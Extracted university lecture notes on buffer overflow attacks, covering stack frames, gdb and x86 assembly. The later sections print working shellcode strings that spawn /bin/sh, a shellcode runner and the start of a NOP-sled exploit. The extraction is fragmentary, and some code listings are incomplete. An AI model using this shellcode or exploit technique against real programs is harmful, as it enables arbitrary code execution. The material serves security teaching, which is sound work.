0728-buffer-overflow-attack
0728-buffer-overflow-attack
April 4, 2017
11:02am
Goals:
2
Computer and Network Security by Avi Kak Lecture 21
# The latest IANA port assignments for network services can be obtained
# from:
# http://www.iana.org/assignments/port-numbers
#
# The Well Known Ports are those from 0 through 1023. The Registered
# Ports are those from 1024 through 49151. The Dynamic and/or Private
# Ports are those from 49152 through 65535
echo 7/tcp
3
Computer and Network Security by Avi Kak Lecture 21
echo 7/udp
daytime 13/tcp
daytime 13/udp
ftp-data 20/tcp
ftp 21/tcp
ssh 22/tcp # SSH Remote Login Protocol
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
domain 53/udp
domain 53/tcp
tftp 69/tcp
finger 79/tcp
http 80/tcp www www-http # WorldWideWeb HTTP
kerberos 88/tcp kerberos5 krb5 # Kerberos v5
hostname 101/tcp hostnames # usually from sri-nic
pop3 110/tcp pop-3 # POP version 3
sunrpc 111/tcp portmapper # RPC 4.0 portmapper TCP
sunrpc 111/udp portmapper # RPC 4.0 portmapper UDP
auth 113/tcp authentication tap ident
auth 113/udp authentication tap ident
sftp 115/tcp
sftp 115/udp
uucp-path 117/tcp
nntp 119/tcp readnews untp # USENET News Transfer Protocol
ntp 123/tcp
netbios-ns 137/tcp # NETBIOS Name Service
imap2 143/tcp imap # Internet Mail Access Protocol
imap2 143/udp imap
ipp 631/tcp # Internet Printing Protocol
rsync 873/tcp # rsync
imaps 993/tcp # IMAP over SSL
pop3s 995/tcp # POP-3 over SSL
biff 512/udp comsat
login 513/tcp
who 513/udp whod
shell 514/tcp cmd # no passwords used
printer 515/tcp spooler # line printer spooler
printer 515/udp spooler # line printer spooler
talk 517/udp
router 520/udp route routed # RIP
uucp 540/tcp uucpd # uucp daemon
netstat 15/tcp # (was once asssigned, no more)
...
4
Computer and Network Security by Avi Kak Lecture 21
...
and many many more, see /etc/services for the complete list.
5
Computer and Network Security by Avi Kak Lecture 21
7
Computer and Network Security by Avi Kak Lecture 21
• Let’s consider the telnet service in particular since it has been the
subject of a fairly large number of security problems. [The Telnet
protocol (through the command telnet) allows a user to establish a terminal
session on a remote machine for the purpose of executing commands there.
For example, if you wanted to log into, say, moonshine.ecn.purdue.edu from
your personal machine, you would use the command ’telnet moonshine.ecn.
purdue.edu’. For reasons of security, remote terminal sessions are now cre-
ated with the SSH command, as you so well know.] [Although the telnet
command is no longer used by human users to gain terminal access at other
hosts in a network, it is still used for certain kinds of computer-to-computer
exchanges across networks.]
• In the next section, let’s now look at some of the security bulletins
that have been issued with regard to the telnet service.
9
Computer and Network Security by Avi Kak Lecture 21
10
Computer and Network Security by Avi Kak Lecture 21
Summary:
11
Computer and Network Security by Avi Kak Lecture 21
.....
.....
....
....
....
....
12
Computer and Network Security by Avi Kak Lecture 21
April 9, 2010
erlang-base
erlang-crypto
erlang-inets
erlang-mnesia
erlang-public-key
erlang-runtime-tools
erlang-ssl
erlang-syantax-tools
erlang-xmerl
Version 1:13.b.1-dfsg-2ubuntu1.1:
- CVE-2008-2371
13
Computer and Network Security by Avi Kak Lecture 21
upstream commit
http://github.com/erlang/otp/commit/bb6370a2. The hunk
for the testsuite does not apply cleanly and is not
needed for the fix so was stripped. This fix is part
of the current upstream OTP release R13B04.
14
Computer and Network Security by Avi Kak Lecture 21
• Let’s first look at the two different ways in which you can allocate
memory for a variable in a C program:
int data[100];
fetch the same value in both cases, assuming that the same array is stored in both
safe languages links to libraries written in C, C++, and Objective-C. So even when you create an application
in a safe language, if it calls on libraries written in C (a very common occurrence), your application would still
be vulnerable to buffer overflow. That is one of the main reasons for why every application should be allowed
]
to run with only the least privileges required for its execution.
15
Computer and Network Security by Avi Kak Lecture 21
• The same thing can happen in a heap. When the size of in-
formation written out to a memory location exceeds the block of
memory allocated for the object at that location, the overwrite in
the adjoining memory locations can corrupt the data there and,
at the least, cause a bug in the execution of the program. In gen-
eral, though, since return addresses to functions are not stored in
heaps, it is more difficult to launch exploits with heap overflows
than with stack overflows. As you will see in this lecture, a stack
overflow can be used to overwrite the location where the return
address to a function is stored and that can send the execution
into a piece of malicious code. [Regarding the phrase “return addresses to functions,”
in contrast with what is typically stored in a heap, in general a stack stores a sequence of stack frames, one for
each function that has not yet finished execution in a nested invocation of functions. Stored in each stack frame
is the address of the calling function to which the control must return after the called function has finished
running. ]
the local variables are pushed into the stack and the function calls encountered result in the creation
of stack frames. ]
17
Computer and Network Security by Avi Kak Lecture 21
void main() {
my_func(1,2,3);
}
Let’s now generate the assembler code file for this program by
gcc -m32 -S -o ex0.S ex0.c
In the call to my func inside main, these stack actions call for the
third argument to be pushed into the stack, following by the
second argument, and, then, the first argument. Subsequently,
there is the call to my func. This last action pushes the current
content of the Instruction Pointer (IP) into the stack, where it
becomes the “return address for the calling function” in the stack
frame for my func. The call to my func also causes the current
content of the Base Pointer to be pushed into the stack — we
will refer to this value as saved BP. [The reason for saving the current content of
the Base Pointer, which is the memory address of base of the calling stack frame, is that when the current
18
Computer and Network Security by Avi Kak Lecture 21
stackframe finishes execution, we must quickly restore the Base Pointer to the value for the calling stackframe.
the bottom four are created by the assembler code in the main section of ex0.S. Just the top two lines are
#include <stdio.h>
19
Computer and Network Security by Avi Kak Lecture 21
int main() {
int x = foo( 10 );
printf( "the value of x = %d\n", x );
return 0;
}
int foo( int i ) {
int ii = i + i;
int iii = bar( ii );
int iiii = 2 * iii;
return iiii;
}
int bar( int j ) {
int jj = j + j;
return jj;
}
stack_ptr--> jj |
saved_BP |
return-address for foo | stack frame for bar
j |
iii |
ii | stack frame for foo
saved_BP |
return-address main |
i |
x |
argc | stack frame for main
argv |
20
Computer and Network Security by Avi Kak Lecture 21
• The values stored in each stack frame above the location of the
return address are for those local variables that are still in scope
at the current moment. That is why the stack frame for foo
shows iii at the top, but not yet iiii, since the latter has not
yet been seen (when bar was called). Note that the parameters
in the header of a function are stored below the location of the
return address. You should already know the reason for that from
my explanation of the ex0.c example.
21
Computer and Network Security by Avi Kak Lecture 21
quently, as each variable goes out of scope, its value is popped off
the stack. In our simple example, when the thread of execution
reaches the right brace of the body of the definition of bar, the
variable jj would be popped off the stack and what will be at the
top will be pointer to the top of the stack frame for the calling
function foo.
• As I did earlier for for the case of ex0.c, how the stack is laid out
for ex1.c can be seen by generating the assembler code file for
that program by giving the ‘-S’ option to the gcc command, as
in
gcc -O0 -S ex1.c -o ex1.S
where the ‘-O0’ flag tells the compiler to use the optimization
level 0 so that the assembler code that is produced can be com-
prehended by humans. [The different integer values associated with ‘-O’ are 0 for optimization
for compile time, 1 for optimization for code size and execution, 2 for further optimization for code size and
execution, and so on. Not specifying an integer is the same as using ‘1’. Also note that the option ‘-O0’
is the default for calling gcc. So the above call produces the same output as the call ‘gcc -S ex1.c -o
22
Computer and Network Security by Avi Kak Lecture 21
• To see what the above assembler output says about the call stack
layout, note that the Intel x86 calling convention (which refers
to how a calling function passes parameters values to a called
function and how the former receives the returned value) uses
the following 32-bit registers for holding the pointers described
below [Here is a list of all 32-bit registers for x86 processors: esp for holding the top address
of the stack, ebp for holding the address of the base of a stackframe, eip used as the instruction
pointer, eax used as the accumulator, ebx used as a base pointer for memory access (regarding the
difference between ebp and ebx, the former can only be used for the within-stack operations that
are described later in this section), esi used for string and memory array copying, ecx called the
counter register and used as a loop counter, edi used as destination index register, and edx used
23
Computer and Network Security by Avi Kak Lecture 21
as a data register. For 64-bit x86 processors, the register names are the same except that the
first letter is always ’r’. The presentation in Section 21.8 on designing strings for carrying out buffer
overflow exploits is based on 64-bit x86. The discussion in that section uses the register names rsp,
rbp, etc.]:
Stack Pointer: The name of the register that holds this pointer
is esp for 32-bit processors and rsp for 64-bit processors, the
last two letters of the name standing for “stack pointer”. This
register always points to the top of the process call stack.
24
Computer and Network Security by Avi Kak Lecture 21
foo:
pushl %ebp push the value stored in the register ebp
into the stack.
movl %esp, %ebp move the value in register esp to register ebp
(we are using the AT&T (gcc) syntax:
’op source dest’)
subl $4, %esp subtract decimal 4 from the value in esp register
(so stack ptr will now point to 4 locations
down, meaning in the direction in which
the stack grows as you push info into it)
movl %eax, (%esp) move the content of the accumulator into the
stack location pointed to by the content of the
esp register (this is where you would want to
store the value of the local variable ii that
then becomes the argument to bar)
leave
.... ....
.... ....
stack grows, the addresses go from high to low. So when you push
a 4-byte variable into the stack, the address to which the stack
pointer will point will be the previous value minus 4. This should
explain the sub instruction (for subtraction). The ‘l’ suffix on
the instructions shown (as in pushl, movl, subl, etc.) stands
for ‘long’, meaning that they are 32-bit instructions. (By the same
token, the suffix ‘b’ stands for single byte instructions, and ‘w’ for ‘word’,
Considered without the suffixes, push,
meaning 16-bit instructions.)
mov, sub, etc., are the instruction mnemonics that constitute
the x86 assembly language. Other mnemonic instructions in
this language include jmp for unconditional jump, jne for jump
on non-equality, je for jump on equality, etc.
26
Computer and Network Security by Avi Kak Lecture 21
// buffover.c
#include <stdio.h>
int main() {
foo();
}
int foo(){
char buffer[5]; char ch; int i = 0;
printf("Say something: ");
while ((ch = getchar()) != ’\n’) buffer[i++] = ch;
buffer[i] = ’\0’;
printf("You said: %s\n", buffer);
return 0;
}
27
Computer and Network Security by Avi Kak Lecture 21
• Let’s now see what the call stack would look like just before the
execution of the while loop in the program:
main
For a more complete look at the call stack, you will have to
examine the file generated by
gcc -S -O buffover.c -o buffover.S
• But at some point, the string you enter will begin to overwrite
the memory locations allocated to other variables on the stack
and also possibly the location where the return address of the
calling function is stored. When this happens, the program will
be aborted with a segmentation fault. Check it out for yourself by
compiling the program and executing it first with a short input
and then with a very long input.
29
Computer and Network Security by Avi Kak Lecture 21
#include <stdio.h>
int main() {
while(1) foo();
}
int foo(){
unsigned int yy = 0;
char buffer[5]; char ch; int i = 0;
printf("Say something: ");
while ((ch = getchar()) != ’\n’) buffer[i++] = ch;
buffer[i] = ’\0’;
printf("You said: %s\n", buffer);
printf("The variable yy: %d\n", yy);
return 0;
}
30
Computer and Network Security by Avi Kak Lecture 21
• The stack frame for foo() just prior to the execution of its while
loop will look like:
main
• So, whereas the program logic dictates that the value of the local
31
Computer and Network Security by Avi Kak Lecture 21
....
32
Computer and Network Security by Avi Kak Lecture 21
One of the mechanisms used for stack protection in the more re-
cent versions of gcc is to move the array variables to the highest
level of a stack frame where any overflows are less likely to cause
problems with scalar variables, the return address, etc. If you are
unable to reproduce my demonstration with the first of the two
command lines shown above, it is because of this rearrangement
of the variables of the buffover2.c program. With this rear-
rangement, overflowing the stack memory allocated to the array
buffer does not overwrite the memory allocated to the local
variable yy. [It is rather easy to be lulled into com-
placency by the default stack protection provided by
gcc. As I will show in the next section, this protection
does not prevent some extremely ordinary attempts
at stack memory corruption.]
33
Computer and Network Security by Avi Kak Lecture 21
• Our goal in this section is to answer the question: How does one
craft the specially formatted string that would be needed for a
buffer overflow exploit?
• One of the most basic tools you need for designing such a string is
an assembler-level debugger such as the very popular GNU gdb.
34
Computer and Network Security by Avi Kak Lecture 21
// buffover4.c
#include <stdio.h>
#include <string.h>
void bar() {
printf("\n\nWhat? I was not supposed to be called!\n\n");
fflush(stdout);
}
1. As you can see from main, the program requires that you
call it with exactly one string as a command-line argument.
[The argument count held by argc includes the name of the program (which in our case is
buffover4.c).]
35
Computer and Network Security by Avi Kak Lecture 21
• Our goal in this section is to design an input string that when fed
as a command-line argument to the above program would cause
the flow of execution to move into the function bar(), with the
result that the message shown inside bar() will be printed out.
happens, the program will just crash with a segfault. That is, with a random overwrite of the return
address in a stackframe, you are unlikely to cause the thread of execution to initiate the execution of
another function. ]
36
Computer and Network Security by Avi Kak Lecture 21
• In the rest of this section, I will show how you can “design”
an input string for the program shown above so that the buffer
overflow vulnerability in the foo() function can be exploited to
steer at run-time the flow of execution into the bar() function.
Step 1: Compile the code with the ’-g’ option in order to produce the
information needed by the debugger:
gcc -g buffover4.c -o buffover4
Step 2: We now run the executable buffover4 inside the gbb debugger:
37
Computer and Network Security by Avi Kak Lecture 21
gdb buffover4
Step 3: We need the memory address for entry to the object code for
the bar() function. As stated earlier, when the return address in the
stackframe for foo() is overwritten, we want the new address to be
the entry into the object code for bar(). So we ask gdb to show the
assembler code for bar(). This we do by
where (gdb) is the debugger prompt and where disas is simply short
for the command disassembly — you can use either version. The
above invocation will produce an output like
From the above dump, we get hold of the first memory location that
signifies the entry into the object code for bar(). For the compila-
tion we just carried out, this is given by 0x000000000040068e. We
are only going to need the last four bytes of this memory address:
0040068e. When we overwrite the buffer for the array buf in foo(),
we want the four bytes 0040068e to be the overwrite for the return
address in foo’s stackframe.
38
Computer and Network Security by Avi Kak Lecture 21
Step 4: Keeping in the mind the four bytes shown above, we now syn-
thesize a command-line argument needed by our program buffover4.
This we do by
Step 5: We are now ready to set a couple of breakpoints for the debugger.
Our first breakpoint will be at the entry to foo() and our second
breakpoint at a point just before the exit from this function. To set
the first breakpoint, we say
39
Computer and Network Security by Avi Kak Lecture 21
As you would expect, this execution will halt at the first breakpoint.
Given that our code is so simple, it won’t even take a moment for
that to happen. When the execution halts at the breakpoint, gdb
will print out something like this:
40
Computer and Network Security by Avi Kak Lecture 21
The specific values we have shown as being returned by the print com-
mands are for this particular demonstration. That is, if we were to
recompile buffover4.c, especially if we do so after we have changed
anything at all in the source code, these values would surely be dif-
ferent.
41
Computer and Network Security by Avi Kak Lecture 21
You see a six line display of bytes. In the first line, the first four
bytes are, in reverse order, the bytes at the location on the stack
that is pointed to by what is stored in the stack pointer — earlier we
showed this value to be 0xffffe410. The first four bytes in the fifth
line are, again in reverse order, the value stored at the stack location
pointed to by the frame pointer. Earlier we showed that this value
is 0xffffe310. Again you saw earlier that when we printed out the
return address directly, it was 0x4006f8. The bytes shown in reverse
order in the sixth line, 0xf8, 0x06, 0x40, and 0x00, correspond to
this return address.
It has been a while since we talked about the flow of execution having
stopped at the first breakpoint, which we set at the entry into foo.
To confirm that fact, if you wish you can now execute the command
(gdb) disas foo
You will see the assembler code for foo and an arrow therein that
will show you where the program execution is currently stopped.
Step 10: Having examined the various registers and the stackframe for
foo, it is time to resume program execution. This we do by
(gdb) cont
Step 11: At this point, we should have overrun the buffer allocated to
the array variable buf and hopefully we have managed to overwrite
the location in foo’s stackframe where the return address is stored.
To confirm that fact, it is time to examine this stackframe again:
Step 12: To see the consequences of the overwrite of foo’s return ad-
dress, let’s first create a new breakpoint at the entry into bar by
(gdb) break bar
43
Computer and Network Security by Avi Kak Lecture 21
Step 13: Recall that we are currently stopped at the second breakpoint,
which is just before the exit from foo. To get past this breakpoint,
let’s now step through the execution one machine instruction at a
time by issuing the commands:
(gdb) stepi
(gdb) stepi
The first call above will elicit an error message that you can ignore. I
believe this message is a result of the overwrite of the location pointed
to by the frame pointer. The second call, however, will elicit the
following from gdb:
Now you know for sure that you are inside the object code
for bar. This means that our overwrite of the return address in the
stackframe for foo worked.
(gdb) cont
The first command will take us to the third breakpoint we set ear-
lier. And the second will cause the following to be displayed in your
terminal window:
Continuing.
44
Computer and Network Security by Avi Kak Lecture 21
Segmentation fault
• Finally, some of the other gdb commands that you will find
useful in the context described here are: list to see where
exactly you are in the source code at a given moment; s to
45
Computer and Network Security by Avi Kak Lecture 21
step into the next function; bt to see a listing of all the stack-
frames currently in the stack; frame i to see the a particular
stackframe; info frame i to see the values stored in the stack
frame at the locations pointed to by the stack pointer, the frame
pointer, etc.; info locals to see the values stored for the lo-
cal variables; info break to see the information on the break-
points; info registers for the various registers. If you want
to print out the value of a local variable in hex, you say print
/x variable name; and so son. You enter quit to exit the
debugger.
46
Computer and Network Security by Avi Kak Lecture 21
one of the 10 most influential people at that time. As to why, Elias used to moderate the BugTraq
mailing list for computer security information during the days when most large corporations would
shove under the rug any reports about flaws in their software and hardware products. The BugTraq
mailing list allowed engineers and programmers to post these flaws without fear of reprisals from
their employers. As a result, BugTraq contributed significantly to raising general awareness regarding
security vulnerabilities. He was also the CTO and the co-founder of the company SecurityFocus, which
47
Computer and Network Security by Avi Kak Lecture 21
stack_smashing_annotated.txt
// shellcode.c
#include <stdio.h>
#include <unistd.h>
int main() {
char* name[2];
48
Computer and Network Security by Avi Kak Lecture 21
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
return 0;
}
• If you compile the code shown above with, say, “gcc -o shellcode
shellcode.c” and run the executable, it will immediately put you
in a shell in which you’ll be able to execute any command that
your login credentials allow.
where the “-static” option incorporates the code for the call to
execve within the executable that is produced. Without this flag,
the executable will only have a reference to the library that would
need to be linked in at run time. Let’s invoke the debugger on
the output file
gdb shellcode
49
Computer and Network Security by Avi Kak Lecture 21
disas main
We get
Dump of assembler code for function main:
0x0804887c <+0>: lea 0x4(%esp),%ecx
0x08048880 <+4>: and $0xfffffff0,%esp
0x08048883 <+7>: pushl -0x4(%ecx)
0x08048886 <+10>: push %ebp
0x08048887 <+11>: mov %esp,%ebp
0x08048889 <+13>: push %ecx
0x0804888a <+14>: sub $0x14,%esp
0x0804888d <+17>: mov %gs:0x14,%eax
0x08048893 <+23>: mov %eax,-0xc(%ebp)
0x08048896 <+26>: xor %eax,%eax
0x08048898 <+28>: movl $0x80bad08,-0x14(%ebp)
0x0804889f <+35>: movl $0x0,-0x10(%ebp)
0x080488a6 <+42>: mov -0x14(%ebp),%eax
0x080488a9 <+45>: sub $0x4,%esp
0x080488ac <+48>: push $0x0
0x080488ae <+50>: lea -0x14(%ebp),%edx
0x080488b1 <+53>: push %edx
0x080488b2 <+54>: push %eax
0x080488b3 <+55>: call 0x806c620 <execve>
0x080488b8 <+60>: add $0x10,%esp
0x080488bb <+63>: mov $0x0,%eax
0x080488c0 <+68>: mov -0xc(%ebp),%ecx
0x080488c3 <+71>: xor %gs:0x14,%ecx
0x080488ca <+78>: je 0x80488d1 <main+85>
0x080488cc <+80>: call 0x806ef20 <__stack_chk_fail>
0x080488d1 <+85>: mov -0x4(%ebp),%ecx
0x080488d4 <+88>: leave
0x080488d5 <+89>: lea -0x4(%ecx),%esp
0x080488d8 <+92>: ret
End of assembler dump.
and, while in the debugger, making the call “disas execve” re-
turns
Dump of assembler code for function execve:
0x0806c620 <+0>: push %ebx
0x0806c621 <+1>: mov 0x10(%esp),%edx
0x0806c625 <+5>: mov 0xc(%esp),%ecx
0x0806c629 <+9>: mov 0x8(%esp),%ebx
0x0806c62d <+13>: mov $0xb,%eax
0x0806c632 <+18>: call *0x80ea9f0
50
Computer and Network Security by Avi Kak Lecture 21
• Next, you would need to compile the assembler code shown above
with a command like [You may have to first install the gcc-multilib library for this to work.
You can do that with a command like “sudo apt-get install gcc-multilib”]
51
Computer and Network Security by Avi Kak Lecture 21
• You can examine the assembler code and the associated opcodes
with gdb. For example, to see the main section of the assembler
code and the opcodes in that section, we invoke disas inside the
debugger with the /r’ option:
gdb shellcodeasm
disas /r main
which returns
Dump of assembler code for function main:
0x080483db <+0>: 55 push %ebp
0x080483dc <+1>: 89 e5 mov %esp,%ebp
0x080483de <+3>: e9 47 7c fb f7 jmp 0x2a
0x080483e3 <+8>: 5e pop %esi
0x080483e4 <+9>: 89 76 08 mov %esi,0x8(%esi)
0x080483e7 <+12>: c6 46 07 00 movb $0x0,0x7(%esi)
0x080483eb <+16>: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)
0x080483f2 <+23>: b8 0b 00 00 00 mov $0xb,%eax
0x080483f7 <+28>: 89 f3 mov %esi,%ebx
0x080483f9 <+30>: 8d 4e 08 lea 0x8(%esi),%ecx
0x080483fc <+33>: 8d 56 0c lea 0xc(%esi),%edx
0x080483ff <+36>: cd 80 int $0x80
0x08048401 <+38>: b8 01 00 00 00 mov $0x1,%eax
0x08048406 <+43>: bb 00 00 00 00 mov $0x0,%ebx
0x0804840b <+48>: cd 80 int $0x80
0x0804840d <+50>: e8 bf 7b fb f7 call 0xffffffd1
0x08048412 <+55>: 2f das
0x08048413 <+56>: 62 69 6e bound %ebp,0x6e(%ecx)
0x08048416 <+59>: 2f das
0x08048417 <+60>: 73 68 jae 0x8048481 <__libc_csu_init+81>
0x08048419 <+62>: 00 b8 00 00 00 00 add %bh,0x0(%eax)
0x0804841f <+68>: 5d pop %ebp
0x08048420 <+69>: c3 ret
End of assembler dump.
objdump -d shellcodeasm
The first command spits out the opcodes for the whole program
and second shows 20 lines of the output for the main section of
the executable. This will be identical to what was shown for
main previously with the “disas /r main” command inside the
debugger.
• You can string together the opcodes into a shellcode string. The
shellcode string put together by Alpeh One for one of his buffer
overflow examples is shown in the following C program:
// overflow1.c
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
int main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
strcpy(buffer,large_string);
return 0;
}
53
Computer and Network Security by Avi Kak Lecture 21
• If you compile the program shown and execute it, you will be
placed in a shell — provided you run your code on a i386 proces-
sor. In order to create the shellcode for a 64-bit x86 processor,
you’d need to follow the recipe in the annotated document men-
tioned at the beginning of this section. That is left to you, the
reader, as an exercise.
// shellcodeasm3.c
// by Patrick Schaller
int main()
{
__asm__(
"xor %eax, %eax\n" // eax = NULL
"push %eax\n" // terminate string with NULL
"push $0x68732f2f\n" // //sh (little endian)
"push $0x6e69622f\n" // /bin (little endian)
"mov %esp, %ebx\n" // pointer to /bin//sh in ebx
"push %eax\n" // create array for argv[]
"push %ebx\n" // pointer to /bin//sh in argv
"mov %esp, %ecx\n" // pointer to argv[] in ecx
"mov %eax, %edx\n" // NULL (envp[]) in edx
"movb $0xb, %al\n" // 11 = execve syscall in eax
"int $0x80\n" // soft interrupt
);
}
54
Computer and Network Security by Avi Kak Lecture 21
interrupt. The interrupt handler in this case is identified by 0x80, which is the Linux kernel itself. As to which
specific system call is being attempted, that depends on what is in the EAX register. If the EAX register
contains the integer 1, that implies a call to exit. In this case, the value in the EBX register holds the status
code for exit(). On the other hand, if the EAX register holds the decimal integer 12, which is case in the code
shown above, then that is a call to execve. The arguments supplied in this system call would be supplied by
55
Computer and Network Security by Avi Kak Lecture 21
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";
int main()
{
void (*fp)() = shellcode;
fp();
return 0;
}
56
Computer and Network Security by Avi Kak Lecture 21
• Next let’s address the question of how one uses the shellcode
string previously constructed to mount a buffer overflow attack on
a given vulnerable application in order to spawn a shell through
such an attack.
// overflowexample.c
#include <stdio.h>
// exploit3.c
// by Patrick Schaller
#include <stdio.h>
#include <unistd.h>
57
Computer and Network Security by Avi Kak Lecture 21
#define BUF 80
#define NOP 0x90
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";
58
Computer and Network Security by Avi Kak Lecture 21
return 0;
}
• As you can see in the “Usage” string in the exploit code, it expects
an offset for the position of the shellcode filled in the array buf
relative to the stack pointer. Patrick Schaller suggests running
the exploit in a loop with different values for the offset to find the
one that succeeds. If you are using bourne shell, you can use the
following command line for that
• But, obviously, you have to first compile the exploit code. You
could try doing so with the following command:
59
Computer and Network Security by Avi Kak Lecture 21
61
Computer and Network Security by Avi Kak Lecture 21
62
Computer and Network Security by Avi Kak Lecture 21
7. Programming Assignment:
8. Programming Assignment:
63
Computer and Network Security by Avi Kak Lecture 21
64